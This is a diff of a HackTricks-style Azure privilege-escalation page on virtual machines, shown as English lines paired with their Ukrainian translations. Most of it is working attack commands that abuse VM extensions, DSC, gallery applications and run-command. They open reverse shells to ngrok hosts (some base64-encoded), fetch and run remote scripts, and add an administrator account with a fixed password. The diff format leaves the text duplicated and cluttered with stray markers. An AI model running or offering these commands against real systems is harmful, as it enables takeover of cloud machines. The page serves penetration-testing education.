- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Повертає результат команди блобу
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Virtual Machines & Network Privesc
|
||||
# Az - Віртуальні машини та мережевий привілейований доступ
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VMS & Network
|
||||
## ВМ та мережа
|
||||
|
||||
For more info about Azure Virtual Machines and Network check:
|
||||
Для отримання додаткової інформації про віртуальні машини Azure та мережу дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
@@ -12,14 +12,13 @@ For more info about Azure Virtual Machines and Network check:
|
||||
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\
|
||||
Example abusing custom extensions to execute arbitrary commands in a VM:
|
||||
Ця дозволена дія дозволяє виконувати розширення у віртуальних машинах, що дозволяє **виконувати довільний код на них**.\
|
||||
Приклад зловживання користувацькими розширеннями для виконання довільних команд у ВМ:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
- Виконати зворотний шелл
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
@@ -27,120 +26,108 @@ YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
- Виконати скрипт, розташований в Інтернеті
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
- Виконати реверс-шелл
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
- Виконати реверс-шел з файлу
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
Ви також можете виконати інші корисні навантаження, такі як: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
- Скидання пароля за допомогою розширення VMAccess
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:
|
||||
Також можливо зловживати відомими розширеннями для виконання коду або виконання привілейованих дій всередині ВМ:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
<summary>Розширення VMAccess</summary>
|
||||
|
||||
Це розширення дозволяє змінювати пароль (або створювати, якщо він не існує) користувачів всередині Windows ВМ.
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
Це **розширення ВМ**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВMs. Тому його можна використовувати для **виконання довільних команд** у Windows VMs через це розширення:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
@@ -148,95 +135,91 @@ RevShellConfig -OutputPath .\Output
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
<summary>Гібридний Runbook Worker</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/).
|
||||
Це розширення ВМ, яке дозволяє виконувати runbook-и у ВМ з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Облікові записи автоматизації](../az-services/az-automation-account/).
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands.
|
||||
Це необхідні дозволи для **створення нового галерейного застосунку та виконання його всередині ВМ**. Галерейні застосунки можуть виконувати будь-що, тому зловмисник може зловживати цим для компрометації екземплярів ВМ, виконуючи довільні команди.
|
||||
|
||||
The last 2 permissions might be avoided by sharing the application with the tenant.
|
||||
Останні 2 дозволи можуть бути уникнуті шляхом спільного використання застосунку з орендарем.
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
Приклад експлуатації для виконання довільних команд:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -245,59 +228,55 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:**
|
||||
Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ:**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
